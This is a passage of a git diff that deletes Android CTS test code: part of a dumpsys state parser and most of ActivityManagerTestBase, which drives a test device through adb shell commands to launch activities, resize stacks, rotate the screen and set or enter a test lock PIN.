-                // Break the activity extraction once we hit an empty line
-                if (line.isEmpty()) {
-                    break;
-                }
-
-                Matcher matcher = VISIBILITY_PATTERN.matcher(line);
-                if (matcher.matches()) {
-                    log(line);
-                    final String visibleString = matcher.group(3);
-                    visible = Boolean.valueOf(visibleString);
-                    log(visibleString);
-                    continue;
-                }
-
-                matcher = STATE_PATTERN.matcher(line);
-                if (matcher.matches()) {
-                    log(line);
-                    state = matcher.group(1);
-                    log(state);
-                    continue;
-                }
-
-                matcher = PROCESS_RECORD_PATTERN.matcher(line);
-                if (matcher.matches()) {
-                    log(line);
-                    final String procIdString = matcher.group(2);
-                    procId = Integer.valueOf(procIdString);
-                    log(procIdString);
-                    continue;
-                }
-
-                matcher = FRONT_OF_TASK_PATTERN.matcher(line);
-                if (matcher.matches()) {
-                    log(line);
-                    final String frontOfTaskString = matcher.group(1);
-                    frontOfTask = Boolean.valueOf(frontOfTaskString);
-                    log(frontOfTaskString);
-                    continue;
-                }
-            }
-        }
-    }
-
-    static abstract class ActivityContainer {
-        protected static final Pattern FULLSCREEN_PATTERN = Pattern.compile("mFullscreen=(\\S+)");
-        protected static final Pattern BOUNDS_PATTERN =
-                Pattern.compile("mBounds=Rect\\((\\d+), (\\d+) - (\\d+), (\\d+)\\)");
-        protected static final Pattern MIN_WIDTH_PATTERN =
-                Pattern.compile("mMinWidth=(\\d+)");
-        protected static final Pattern MIN_HEIGHT_PATTERN =
-                Pattern.compile("mMinHeight=(\\d+)");
-
-        protected boolean mFullscreen;
-        protected Rectangle mBounds;
-        protected int mMinWidth = -1;
-        protected int mMinHeight = -1;
-
-        boolean extractFullscreen(String line) {
-            final Matcher matcher = FULLSCREEN_PATTERN.matcher(line);
-            if (!matcher.matches()) {
-                return false;
-            }
-            log(line);
-            final String fullscreen = matcher.group(1);
-            log(fullscreen);
-            mFullscreen = Boolean.valueOf(fullscreen);
-            return true;
-        }
-
-        boolean extractBounds(String line) {
-            final Matcher matcher = BOUNDS_PATTERN.matcher(line);
-            if (!matcher.matches()) {
-                return false;
-            }
-            log(line);
-            mBounds = extractBounds(matcher);
-            return true;
-        }
-
-        static Rectangle extractBounds(Matcher matcher) {
-            final int left = Integer.valueOf(matcher.group(1));
-            final int top = Integer.valueOf(matcher.group(2));
-            final int right = Integer.valueOf(matcher.group(3));
-            final int bottom = Integer.valueOf(matcher.group(4));
-            final Rectangle rect = new Rectangle(left, top, right - left, bottom - top);
-
-            log(rect.toString());
-            return rect;
-        }
-
-        boolean extractMinimalSize(String line) {
-            final Matcher minWidthMatcher = MIN_WIDTH_PATTERN.matcher(line);
-            final Matcher minHeightMatcher = MIN_HEIGHT_PATTERN.matcher(line);
-
-            if (minWidthMatcher.matches()) {
-                log(line);
-                mMinWidth = Integer.valueOf(minWidthMatcher.group(1));
-            } else if (minHeightMatcher.matches()) {
-                log(line);
-                mMinHeight = Integer.valueOf(minHeightMatcher.group(1));
-            } else {
-                return false;
-            }
-            return true;
-        }
-
-        Rectangle getBounds() {
-            return mBounds;
-        }
-
-        boolean isFullscreen() {
-            return mFullscreen;
-        }
-
-        int getMinWidth() {
-            return mMinWidth;
-        }
-
-        int getMinHeight() {
-            return mMinHeight;
-        }
-    }
-
-    static class KeyguardControllerState {
-        private static final Pattern NAME_PATTERN = Pattern.compile("KeyguardController:");
-        private static final Pattern SHOWING_PATTERN = Pattern.compile("mKeyguardShowing=(\\S+)");
-        private static final Pattern OCCLUDED_PATTERN = Pattern.compile("mOccluded=(\\S+)");
-
-        boolean keyguardShowing;
-        boolean keyguardOccluded;
-
-        private KeyguardControllerState() {
-        }
-
-        static KeyguardControllerState create(LinkedList<String> dump, Pattern[] exitPatterns) {
-            final String line = dump.peek().trim();
-
-            final Matcher matcher = NAME_PATTERN.matcher(line);
-            if (!matcher.matches()) {
-                // Not KeyguardController
-                return null;
-            }
-
-            // For the KeyguardController line we just read.
-            dump.pop();
-
-            final KeyguardControllerState controller = new KeyguardControllerState();
-            controller.extract(dump, exitPatterns);
-            return controller;
-        }
-
-        private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
-
-            while (!doneExtracting(dump, exitPatterns)) {
-                final String line = dump.pop().trim();
-
-                Matcher matcher = SHOWING_PATTERN.matcher(line);
-                if (matcher.matches()) {
-                    log(line);
-                    final String showingString = matcher.group(1);
-                    keyguardShowing = Boolean.valueOf(showingString);
-                    log(showingString);
-                    continue;
-                }
-
-                matcher = OCCLUDED_PATTERN.matcher(line);
-                if (matcher.matches()) {
-                    log(line);
-                    final String occludedString = matcher.group(1);
-                    keyguardOccluded = Boolean.valueOf(occludedString);
-                    log(occludedString);
-                    continue;
-                }
-            }
-        }
-    }
-
-    static boolean doneExtracting(LinkedList<String> dump, Pattern[] exitPatterns) {
-        if (dump.isEmpty()) {
-            return true;
-        }
-        final String line = dump.peek().trim();
-
-        for (Pattern pattern : exitPatterns) {
-            if (pattern.matcher(line).matches()) {
-                return true;
-            }
-        }
-        return false;
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
deleted file mode 100644
index 9ba292f..0000000
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
+++ /dev/null
@@ -1,1459 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.InputStreamSource;
-import com.android.tradefed.testtype.DeviceTestCase;
-
-import java.awt.image.BufferedImage;
-import java.lang.Exception;
-import java.lang.Integer;
-import java.lang.String;
-import java.util.HashSet;
-import java.util.List;
-import java.util.UUID;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-import static android.server.cts.StateLogger.log;
-import static android.server.cts.StateLogger.logE;
-
-import android.server.cts.ActivityManagerState.ActivityStack;
-
-import javax.imageio.ImageIO;
-
-public abstract class ActivityManagerTestBase extends DeviceTestCase {
-    private static final boolean PRETEND_DEVICE_SUPPORTS_PIP = false;
-    private static final boolean PRETEND_DEVICE_SUPPORTS_FREEFORM = false;
-    private static final String LOG_SEPARATOR = "LOG_SEPARATOR";
-
-    // Constants copied from ActivityManager.StackId. If they are changed there, these must be
-    // updated.
-    /** Invalid stack ID. */
-    public static final int INVALID_STACK_ID = -1;
-
-    /** First static stack ID. */
-    public static final int FIRST_STATIC_STACK_ID = 0;
-
-    /** Home activity stack ID. */
-    public static final int HOME_STACK_ID = FIRST_STATIC_STACK_ID;
-
-    /** ID of stack where fullscreen activities are normally launched into. */
-    public static final int FULLSCREEN_WORKSPACE_STACK_ID = 1;
-
-    /** ID of stack where freeform/resized activities are normally launched into. */
-    public static final int FREEFORM_WORKSPACE_STACK_ID = FULLSCREEN_WORKSPACE_STACK_ID + 1;
-
-    /** ID of stack that occupies a dedicated region of the screen. */
-    public static final int DOCKED_STACK_ID = FREEFORM_WORKSPACE_STACK_ID + 1;
-
-    /** ID of stack that always on top (always visible) when it exist. */
-    public static final int PINNED_STACK_ID = DOCKED_STACK_ID + 1;
-
-    /** Recents activity stack ID. */
-    public static final int RECENTS_STACK_ID = PINNED_STACK_ID + 1;
-
-    /** Assistant activity stack ID.  This stack is fullscreen and non-resizeable. */
-    public static final int ASSISTANT_STACK_ID = RECENTS_STACK_ID + 1;
-
-    protected static final int[] ALL_STACK_IDS_BUT_HOME = {
-            FULLSCREEN_WORKSPACE_STACK_ID, FREEFORM_WORKSPACE_STACK_ID, DOCKED_STACK_ID,
-            PINNED_STACK_ID, ASSISTANT_STACK_ID
-    };
-
-    protected static final int[] ALL_STACK_IDS_BUT_HOME_AND_FULLSCREEN = {
-            FREEFORM_WORKSPACE_STACK_ID, DOCKED_STACK_ID, PINNED_STACK_ID, ASSISTANT_STACK_ID
-    };
-
-    private static final String TASK_ID_PREFIX = "taskId";
-
-    private static final String AM_STACK_LIST = "am stack list";
-
-    private static final String AM_FORCE_STOP_TEST_PACKAGE = "am force-stop android.server.cts";
-    private static final String AM_FORCE_STOP_SECOND_TEST_PACKAGE
-            = "am force-stop android.server.cts.second";
-    private static final String AM_FORCE_STOP_THIRD_TEST_PACKAGE
-            = "am force-stop android.server.cts.third";
-
-    private static final String AM_REMOVE_STACK = "am stack remove ";
-
-    protected static final String AM_START_HOME_ACTIVITY_COMMAND =
-            "am start -a android.intent.action.MAIN -c android.intent.category.HOME";
-
-    protected static final String AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND =
-            "am stack move-top-activity-to-pinned-stack 1 0 0 500 500";
-
-    static final String LAUNCHING_ACTIVITY = "LaunchingActivity";
-    static final String ALT_LAUNCHING_ACTIVITY = "AltLaunchingActivity";
-    static final String BROADCAST_RECEIVER_ACTIVITY = "BroadcastReceiverActivity";
-
-    /** Broadcast shell command for finishing {@link BroadcastReceiverActivity}. */
-    static final String FINISH_ACTIVITY_BROADCAST
-            = "am broadcast -a trigger_broadcast --ez finish true";
-
-    /** Broadcast shell command for finishing {@link BroadcastReceiverActivity}. */
-    static final String MOVE_TASK_TO_BACK_BROADCAST
-            = "am broadcast -a trigger_broadcast --ez moveToBack true";
-
-    private static final String AM_RESIZE_DOCKED_STACK = "am stack resize-docked-stack ";
-    private static final String AM_RESIZE_STACK = "am stack resize ";
-
-    static final String AM_MOVE_TASK = "am stack move-task ";
-
-    private static final String AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW =
-            "am supports-split-screen-multi-window";
-    private static final String AM_NO_HOME_SCREEN = "am no-home-screen";
-
-    private static final String INPUT_KEYEVENT_HOME = "input keyevent 3";
-    private static final String INPUT_KEYEVENT_BACK = "input keyevent 4";
-    private static final String INPUT_KEYEVENT_APP_SWITCH = "input keyevent 187";
-    public static final String INPUT_KEYEVENT_WINDOW = "input keyevent 171";
-
-    private static final String LOCK_CREDENTIAL = "1234";
-
-    private static final int INVALID_DISPLAY_ID = -1;
-
-    private static final String DEFAULT_COMPONENT_NAME = "android.server.cts";
-
-    private static final int UI_MODE_TYPE_MASK = 0x0f;
-    private static final int UI_MODE_TYPE_VR_HEADSET = 0x07;
-
-    static String componentName = DEFAULT_COMPONENT_NAME;
-
-    protected static final int INVALID_DEVICE_ROTATION = -1;
-
-    /** A reference to the device under test. */
-    protected ITestDevice mDevice;
-
-    private HashSet<String> mAvailableFeatures;
-
-    private boolean mLockCredentialsSet;
-
-    private boolean mLockDisabled;
-
-    protected static String getAmStartCmd(final String activityName) {
-        return "am start -n " + getActivityComponentName(activityName);
-    }
-
-    /**
-     * @return the am command to start the given activity with the following extra key/value pairs.
-     *         {@param keyValuePairs} must be a list of arguments defining each key/value extra.
-     */
-    protected static String getAmStartCmd(final String activityName,
-            final String... keyValuePairs) {
-        String base = getAmStartCmd(activityName);
-        if (keyValuePairs.length % 2 != 0) {
-            throw new RuntimeException("keyValuePairs must be pairs of key/value arguments");
-        }
-        for (int i = 0; i < keyValuePairs.length; i += 2) {
-            base += " --es " + keyValuePairs[i] + " " + keyValuePairs[i + 1];
-        }
-        return base;
-    }
-
-    protected static String getAmStartCmd(final String activityName, final int displayId) {
-        return "am start -n " + getActivityComponentName(activityName) + " -f 0x18000000"
-                + " --display " + displayId;
-    }
-
-    protected static String getAmStartCmdInNewTask(final String activityName) {
-        return "am start -n " + getActivityComponentName(activityName) + " -f 0x18000000";
-    }
-
-    protected static String getAmStartCmdOverHome(final String activityName) {
-        return "am start --activity-task-on-home -n " + getActivityComponentName(activityName);
-    }
-
-    protected static String getOrientationBroadcast(int orientation) {
-        return "am broadcast -a trigger_broadcast --ei orientation " + orientation;
-    }
-
-    static String getActivityComponentName(final String activityName) {
-        return getActivityComponentName(componentName, activityName);
-    }
-
-    private static boolean isFullyQualifiedActivityName(String name) {
-        return name != null && name.contains(".");
-    }
-
-    static String getActivityComponentName(final String packageName, final String activityName) {
-        return packageName + "/" + (isFullyQualifiedActivityName(activityName) ? "" : ".") +
-                activityName;
-    }
-
-    // A little ugly, but lets avoid having to strip static everywhere for
-    // now.
-    public static void setComponentName(String name) {
-        componentName = name;
-    }
-
-    protected static void setDefaultComponentName() {
-        setComponentName(DEFAULT_COMPONENT_NAME);
-    }
-
-    static String getBaseWindowName() {
-        return getBaseWindowName(componentName);
-    }
-
-    static String getBaseWindowName(final String packageName) {
-        return getBaseWindowName(packageName, true /*prependPackageName*/);
-    }
-
-    static String getBaseWindowName(final String packageName, boolean prependPackageName) {
-        return packageName + "/" + (prependPackageName ? packageName + "." : "");
-    }
-
-    static String getWindowName(final String activityName) {
-        return getWindowName(componentName, activityName);
-    }
-
-    static String getWindowName(final String packageName, final String activityName) {
-        return getBaseWindowName(packageName, !isFullyQualifiedActivityName(activityName))
-                + activityName;
-    }
-
-    protected ActivityAndWindowManagersState mAmWmState = new ActivityAndWindowManagersState();
-
-    private int mInitialAccelerometerRotation;
-    private int mUserRotation;
-    private float mFontScale;
-
-    private SurfaceTraceReceiver mSurfaceTraceReceiver;
-    private Thread mSurfaceTraceThread;
-
-    void installSurfaceObserver(SurfaceTraceReceiver.SurfaceObserver observer) {
-        mSurfaceTraceReceiver = new SurfaceTraceReceiver(observer);
-        mSurfaceTraceThread = new Thread() {
-            @Override
-            public void run() {
-                try {
-                    mDevice.executeShellCommand("wm surface-trace", mSurfaceTraceReceiver);
-                } catch (DeviceNotAvailableException e) {
-                    logE("Device not available: " + e.toString());
-                }
-            }
-        };
-        mSurfaceTraceThread.start();
-    }
-
-    void removeSurfaceObserver() {
-        mSurfaceTraceReceiver.cancel();
-        mSurfaceTraceThread.interrupt();
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        setDefaultComponentName();
-
-        // Get the device, this gives a handle to run commands and install APKs.
-        mDevice = getDevice();
-        wakeUpAndUnlockDevice();
-        pressHomeButton();
-        // Remove special stacks.
-        removeStacks(ALL_STACK_IDS_BUT_HOME_AND_FULLSCREEN);
-        // Store rotation settings.
-        mInitialAccelerometerRotation = getAccelerometerRotation();
-        mUserRotation = getUserRotation();
-        mFontScale = getFontScale();
-        mLockCredentialsSet = false;
-        mLockDisabled = isLockDisabled();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        try {
-            setLockDisabled(mLockDisabled);
-            executeShellCommand(AM_FORCE_STOP_TEST_PACKAGE);
-            executeShellCommand(AM_FORCE_STOP_SECOND_TEST_PACKAGE);
-            executeShellCommand(AM_FORCE_STOP_THIRD_TEST_PACKAGE);
-            // Restore rotation settings to the state they were before test.
-            setAccelerometerRotation(mInitialAccelerometerRotation);
-            setUserRotation(mUserRotation);
-            setFontScale(mFontScale);
-            setWindowTransitionAnimationDurationScale(1);
-            // Remove special stacks.
-            removeStacks(ALL_STACK_IDS_BUT_HOME_AND_FULLSCREEN);
-            wakeUpAndUnlockDevice();
-            pressHomeButton();
-        } catch (DeviceNotAvailableException e) {
-        }
-    }
-
-    protected void removeStacks(int... stackIds) {
-        try {
-            for (Integer stackId : stackIds) {
-                executeShellCommand(AM_REMOVE_STACK + stackId);
-            }
-        } catch (DeviceNotAvailableException e) {
-        }
-    }
-
-    protected String executeShellCommand(String command) throws DeviceNotAvailableException {
-        return executeShellCommand(mDevice, command);
-    }
-
-    protected static String executeShellCommand(ITestDevice device, String command)
-            throws DeviceNotAvailableException {
-        log("adb shell " + command);
-        return device.executeShellCommand(command);
-    }
-
-    protected void executeShellCommand(String command, CollectingOutputReceiver outputReceiver)
-            throws DeviceNotAvailableException {
-        log("adb shell " + command);
-        mDevice.executeShellCommand(command, outputReceiver);
-    }
-
-    protected BufferedImage takeScreenshot() throws Exception {
-        final InputStreamSource stream = mDevice.getScreenshot("PNG", false /* rescale */);
-        if (stream == null) {
-            fail("Failed to take screenshot of device");
-        }
-        return ImageIO.read(stream.createInputStream());
-    }
-
-    protected void launchActivityInComponent(final String componentName,
-            final String targetActivityName, final String... keyValuePairs) throws Exception {
-        final String originalComponentName = ActivityManagerTestBase.componentName;
-        setComponentName(componentName);
-        launchActivity(targetActivityName, keyValuePairs);
-        setComponentName(originalComponentName);
-    }
-
-    protected void launchActivity(final String targetActivityName, final String... keyValuePairs)
-            throws Exception {
-        executeShellCommand(getAmStartCmd(targetActivityName, keyValuePairs));
-        mAmWmState.waitForValidState(mDevice, targetActivityName);
-    }
-
-    protected void launchActivityNoWait(final String targetActivityName,
-            final String... keyValuePairs) throws Exception {
-        executeShellCommand(getAmStartCmd(targetActivityName, keyValuePairs));
-    }
-
-    protected void launchActivityInNewTask(final String targetActivityName) throws Exception {
-        executeShellCommand(getAmStartCmdInNewTask(targetActivityName));
-        mAmWmState.waitForValidState(mDevice, targetActivityName);
-    }
-
-    /**
-     * Starts an activity in a new stack.
-     * @return the stack id of the newly created stack.
-     */
-    protected int launchActivityInNewDynamicStack(final String activityName) throws Exception {
-        HashSet<Integer> stackIds = getStackIds();
-        executeShellCommand("am stack start " + ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID
-                + " " + getActivityComponentName(activityName));
-        HashSet<Integer> newStackIds = getStackIds();
-        newStackIds.removeAll(stackIds);
-        if (newStackIds.isEmpty()) {
-            return INVALID_STACK_ID;
-        } else {
-            assertTrue(newStackIds.size() == 1);
-            return newStackIds.iterator().next();
-        }
-    }
-
-    /**
-     * Returns the set of stack ids.
-     */
-    private HashSet<Integer> getStackIds() throws Exception {
-        mAmWmState.computeState(mDevice, null);
-        final List<ActivityStack> stacks = mAmWmState.getAmState().getStacks();
-        final HashSet<Integer> stackIds = new HashSet<>();
-        for (ActivityStack s : stacks) {
-            stackIds.add(s.mStackId);
-        }
-        return stackIds;
-    }
-
-    protected void launchHomeActivity()
-            throws Exception {
-        executeShellCommand(AM_START_HOME_ACTIVITY_COMMAND);
-        mAmWmState.waitForHomeActivityVisible(mDevice);
-    }
-
-    protected void launchActivityOnDisplay(String targetActivityName, int displayId)
-            throws Exception {
-        executeShellCommand(getAmStartCmd(targetActivityName, displayId));
-
-        mAmWmState.waitForValidState(mDevice, targetActivityName);
-    }
-
-    /**
-     * Launch specific target activity. It uses existing instance of {@link #LAUNCHING_ACTIVITY}, so
-     * that one should be started first.
-     * @param toSide Launch to side in split-screen.
-     * @param randomData Make intent URI random by generating random data.
-     * @param multipleTask Allow multiple task launch.
-     * @param targetActivityName Target activity to be launched. Only class name should be provided,
-     *                           package name of {@link #LAUNCHING_ACTIVITY} will be added
-     *                           automatically.
-     * @param displayId Display id where target activity should be launched.
-     * @throws Exception
-     */
-    protected void launchActivityFromLaunching(boolean toSide, boolean randomData,
-            boolean multipleTask, String targetActivityName, int displayId) throws Exception {
-        StringBuilder commandBuilder = new StringBuilder(getAmStartCmd(LAUNCHING_ACTIVITY));
-        commandBuilder.append(" -f 0x20000000");
-        if (toSide) {
-            commandBuilder.append(" --ez launch_to_the_side true");
-        }
-        if (randomData) {
-            commandBuilder.append(" --ez random_data true");
-        }
-        if (multipleTask) {
-            commandBuilder.append(" --ez multiple_task true");
-        }
-        if (targetActivityName != null) {
-            commandBuilder.append(" --es target_activity ").append(targetActivityName);
-        }
-        if (displayId != INVALID_DISPLAY_ID) {
-            commandBuilder.append(" --ei display_id ").append(displayId);
-        }
-        executeShellCommand(commandBuilder.toString());
-
-        mAmWmState.waitForValidState(mDevice, targetActivityName);
-    }
-
-    protected void launchActivityInStack(String activityName, int stackId,
-            final String... keyValuePairs) throws Exception {
-        executeShellCommand(getAmStartCmd(activityName, keyValuePairs) + " --stack " + stackId);
-
-        mAmWmState.waitForValidState(mDevice, activityName, stackId);
-    }
-
-    protected void launchActivityInDockStack(String activityName) throws Exception {
-        launchActivity(activityName);
-        // TODO(b/36279415): The way we launch an activity into the docked stack is different from
-        // what the user actually does. Long term we should use
-        // "adb shell input keyevent --longpress _app_swich_key_code_" to trigger a long press on
-        // the recents button which is consistent with what the user does. However, currently sys-ui
-        // does handle FLAG_LONG_PRESS for the app switch key. It just listens for long press on the
-        // view. We need to fix that in sys-ui before we can change this.
-        moveActivityToDockStack(activityName);
-
-        mAmWmState.waitForValidState(mDevice, activityName, DOCKED_STACK_ID);
-    }
-
-    protected void launchActivityToSide(boolean randomData, boolean multipleTaskFlag,
-            String targetActivity) throws Exception {
-        final String activityToLaunch = targetActivity != null ? targetActivity : "TestActivity";
-        getLaunchActivityBuilder().setToSide(true).setRandomData(randomData)
-                .setMultipleTask(multipleTaskFlag).setTargetActivityName(activityToLaunch)
-                .execute();
-
-        mAmWmState.waitForValidState(mDevice, activityToLaunch, FULLSCREEN_WORKSPACE_STACK_ID);
-    }
-
-    protected void moveActivityToDockStack(String activityName) throws Exception {
-        moveActivityToStack(activityName, DOCKED_STACK_ID);
-    }
-
-    protected void moveActivityToStack(String activityName, int stackId) throws Exception {
-        final int taskId = getActivityTaskId(activityName);
-        final String cmd = AM_MOVE_TASK + taskId + " " + stackId + " true";
-        executeShellCommand(cmd);
-
-        mAmWmState.waitForValidState(mDevice, activityName, stackId);
-    }
-
-    protected void resizeActivityTask(String activityName, int left, int top, int right, int bottom)
-            throws Exception {
-        final int taskId = getActivityTaskId(activityName);
-        final String cmd = "am task resize "
-                + taskId + " " + left + " " + top + " " + right + " " + bottom;
-        executeShellCommand(cmd);
-    }
-
-    protected void resizeDockedStack(
-            int stackWidth, int stackHeight, int taskWidth, int taskHeight)
-                    throws DeviceNotAvailableException {
-        executeShellCommand(AM_RESIZE_DOCKED_STACK
-                + "0 0 " + stackWidth + " " + stackHeight
-                + " 0 0 " + taskWidth + " " + taskHeight);
-    }
-
-    protected void resizeStack(int stackId, int stackLeft, int stackTop, int stackWidth,
-            int stackHeight) throws DeviceNotAvailableException {
-        executeShellCommand(AM_RESIZE_STACK + String.format("%d %d %d %d %d", stackId, stackLeft,
-                stackTop, stackWidth, stackHeight));
-    }
-
-    protected void pressHomeButton() throws DeviceNotAvailableException {
-        executeShellCommand(INPUT_KEYEVENT_HOME);
-    }
-
-    protected void pressBackButton() throws DeviceNotAvailableException {
-        executeShellCommand(INPUT_KEYEVENT_BACK);
-    }
-
-    protected void pressAppSwitchButton() throws DeviceNotAvailableException {
-        executeShellCommand(INPUT_KEYEVENT_APP_SWITCH);
-    }
-
-    // Utility method for debugging, not used directly here, but useful, so kept around.
-    protected void printStacksAndTasks() throws DeviceNotAvailableException {
-        CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
-        executeShellCommand(AM_STACK_LIST, outputReceiver);
-        String output = outputReceiver.getOutput();
-        for (String line : output.split("\\n")) {
-            CLog.logAndDisplay(LogLevel.INFO, line);
-        }
-    }
-
-    protected int getActivityTaskId(String name) throws DeviceNotAvailableException {
-        CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
-        executeShellCommand(AM_STACK_LIST, outputReceiver);
-        final String output = outputReceiver.getOutput();
-        final Pattern activityPattern = Pattern.compile("(.*) " + getWindowName(name) + " (.*)");
-        for (String line : output.split("\\n")) {
-            Matcher matcher = activityPattern.matcher(line);
-            if (matcher.matches()) {
-                for (String word : line.split("\\s+")) {
-                    if (word.startsWith(TASK_ID_PREFIX)) {
-                        final String withColon = word.split("=")[1];
-                        return Integer.parseInt(withColon.substring(0, withColon.length() - 1));
-                    }
-                }
-            }
-        }
-        return -1;
-    }
-
-    protected boolean supportsVrMode() throws DeviceNotAvailableException {
-        return hasDeviceFeature("android.software.vr.mode") &&
-                hasDeviceFeature("android.hardware.vr.high_performance");
-    }
-
-    protected boolean supportsPip() throws DeviceNotAvailableException {
-        return hasDeviceFeature("android.software.picture_in_picture")
-                || PRETEND_DEVICE_SUPPORTS_PIP;
-    }
-
-    protected boolean supportsFreeform() throws DeviceNotAvailableException {
-        return hasDeviceFeature("android.software.freeform_window_management")
-                || PRETEND_DEVICE_SUPPORTS_FREEFORM;
-    }
-
-    protected boolean isHandheld() throws DeviceNotAvailableException {
-        return !hasDeviceFeature("android.software.leanback")
-                && !hasDeviceFeature("android.hardware.type.watch")
-                && !hasDeviceFeature("android.hardware.type.embedded");
-    }
-
-    // TODO: Switch to using a feature flag, when available.
-    protected boolean isUiModeLockedToVrHeadset() throws DeviceNotAvailableException {
-        final String output = runCommandAndPrintOutput("dumpsys uimode");
-
-        Integer curUiMode = null;
-        Boolean uiModeLocked = null;
-        for (String line : output.split("\\n")) {
-            line = line.trim();
-            Matcher matcher = sCurrentUiModePattern.matcher(line);
-            if (matcher.find()) {
-                curUiMode = Integer.parseInt(matcher.group(1), 16);
-            }
-            matcher = sUiModeLockedPattern.matcher(line);
-            if (matcher.find()) {
-                uiModeLocked = matcher.group(1).equals("true");
-            }
-        }
-
-        boolean uiModeLockedToVrHeadset = (curUiMode != null) && (uiModeLocked != null)
-                && ((curUiMode & UI_MODE_TYPE_MASK) == UI_MODE_TYPE_VR_HEADSET) && uiModeLocked;
-
-        if (uiModeLockedToVrHeadset) {
-            CLog.logAndDisplay(LogLevel.INFO, "UI mode is locked to VR headset");
-        }
-
-        return uiModeLockedToVrHeadset;
-    }
-
-    protected boolean supportsSplitScreenMultiWindow() throws DeviceNotAvailableException {
-        CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
-        executeShellCommand(AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW, outputReceiver);
-        String output = outputReceiver.getOutput();
-        return !output.startsWith("false");
-    }
-
-    protected boolean noHomeScreen() throws DeviceNotAvailableException {
-        CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
-        executeShellCommand(AM_NO_HOME_SCREEN, outputReceiver);
-        String output = outputReceiver.getOutput();
-        return output.startsWith("true");
-    }
-
-    /**
-     * Rotation support is indicated by explicitly having both landscape and portrait
-     * features or not listing either at all.
-     */
-    protected boolean supportsRotation() throws DeviceNotAvailableException {
-        return (hasDeviceFeature("android.hardware.screen.landscape")
-                    && hasDeviceFeature("android.hardware.screen.portrait"))
-            || (!hasDeviceFeature("android.hardware.screen.landscape")
-                    && !hasDeviceFeature("android.hardware.screen.portrait"));
-    }
-
-    protected boolean hasDeviceFeature(String requiredFeature) throws DeviceNotAvailableException {
-        if (mAvailableFeatures == null) {
-            // TODO: Move this logic to ITestDevice.
-            final String output = runCommandAndPrintOutput("pm list features");
-
-            // Extract the id of the new user.
-            mAvailableFeatures = new HashSet<>();
-            for (String feature: output.split("\\s+")) {
-                // Each line in the output of the command has the format "feature:{FEATURE_VALUE}".
-                String[] tokens = feature.split(":");
-                assertTrue("\"" + feature + "\" expected to have format feature:{FEATURE_VALUE}",
-                        tokens.length > 1);
-                assertEquals(feature, "feature", tokens[0]);
-                mAvailableFeatures.add(tokens[1]);
-            }
-        }
-        boolean result = mAvailableFeatures.contains(requiredFeature);
-        if (!result) {
-            CLog.logAndDisplay(LogLevel.INFO, "Device doesn't support " + requiredFeature);
-        }
-        return result;
-    }
-
-    protected boolean isDisplayOn() throws DeviceNotAvailableException {
-        final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
-        mDevice.executeShellCommand("dumpsys power", outputReceiver);
-
-        for (String line : outputReceiver.getOutput().split("\\n")) {
-            line = line.trim();
-
-            final Matcher matcher = sDisplayStatePattern.matcher(line);
-            if (matcher.matches()) {
-                final String state = matcher.group(1);
-                log("power state=" + state);
-                return "ON".equals(state);
-            }
-        }
-        log("power state :(");
-        return false;
-    }
-
-    protected void sleepDevice() throws DeviceNotAvailableException {
-        int retriesLeft = 5;
-        runCommandAndPrintOutput("input keyevent SLEEP");
-        do {
-            if (isDisplayOn()) {
-                log("***Waiting for display to turn off...");
-                try {
-                    Thread.sleep(1000);
-                } catch (InterruptedException e) {
-                    log(e.toString());
-                    // Well I guess we are not waiting...
-                }
-            } else {
-                break;
-            }
-        } while (retriesLeft-- > 0);
-    }
-
-    protected void wakeUpAndUnlockDevice() throws DeviceNotAvailableException {
-        wakeUpDevice();
-        unlockDevice();
-    }
-
-    protected void wakeUpAndRemoveLock() throws DeviceNotAvailableException {
-        wakeUpDevice();
-        setLockDisabled(true);
-    }
-
-    protected void wakeUpDevice() throws DeviceNotAvailableException {
-        runCommandAndPrintOutput("input keyevent WAKEUP");
-    }
-
-    protected void unlockDevice() throws DeviceNotAvailableException {
-        runCommandAndPrintOutput("input keyevent 82");
-    }
-
-    protected void unlockDeviceWithCredential() throws Exception {
-        runCommandAndPrintOutput("input keyevent 82");
-        try {
-            Thread.sleep(3000);
-        } catch (InterruptedException e) {
-            //ignored
-        }
-        enterAndConfirmLockCredential();
-    }
-
-    protected void enterAndConfirmLockCredential() throws Exception {
-        // TODO: This should use waitForIdle..but there ain't such a thing on hostside tests, boo :(
-        Thread.sleep(500);
-
-        runCommandAndPrintOutput("input text " + LOCK_CREDENTIAL);
-        runCommandAndPrintOutput("input keyevent KEYCODE_ENTER");
-    }
-
-    protected void gotoKeyguard() throws Exception {
-        sleepDevice();
-        wakeUpDevice();
-        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
-    }
-
-    protected void setLockCredential() throws DeviceNotAvailableException {
-        mLockCredentialsSet = true;
-        runCommandAndPrintOutput("locksettings set-pin " + LOCK_CREDENTIAL);
-    }
-
